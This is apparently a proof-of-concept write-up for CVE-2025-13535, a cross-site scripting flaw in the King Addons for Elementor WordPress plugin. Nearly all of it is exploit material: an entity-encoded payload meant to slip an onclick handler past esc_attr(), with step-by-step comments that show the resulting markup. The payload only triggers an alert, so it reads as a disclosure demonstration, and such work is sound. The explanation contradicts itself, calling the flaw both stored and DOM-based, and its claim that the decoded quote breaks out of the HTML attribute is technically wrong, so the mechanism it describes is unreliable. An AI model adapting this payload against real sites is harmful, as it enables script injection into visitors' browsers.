CVE-2025-13535 WordPress King Addons插件存储型XSS漏洞

/* * PoC for CVE-2025-13535: King Addons for Elementor DOM-Based XSS * Description: Exploiting HTML entity decoding in onclick attributes. */ // Step 1: Attacker with Contributor access edits a page using Elementor. // Step 2: Attacker inserts the following payload into a vulnerable widget setting (e.g., Wrapper Link). // The payload uses HTML entities to bypass esc_attr(). var payload = "&quot; onclick=alert('CVE-2025-13535') //"; // Vulnerable backend code logic (Conceptual): // echo '<div onclick="doSomething(\'' . esc_attr($user_input) . '\')">'; // Resulting HTML in source: // <div onclick="doSomething('&quot; onclick=alert(&#39;CVE-2025-13535&#39;) //')"> // Step 3: When the DOM parses this, &quot; becomes ", breaking the attribute: // <div onclick="doSomething('" onclick=alert('CVE-2025-13535') //')"> // Step 4: The alert executes when the user interacts with the element or page loads depending on the widget.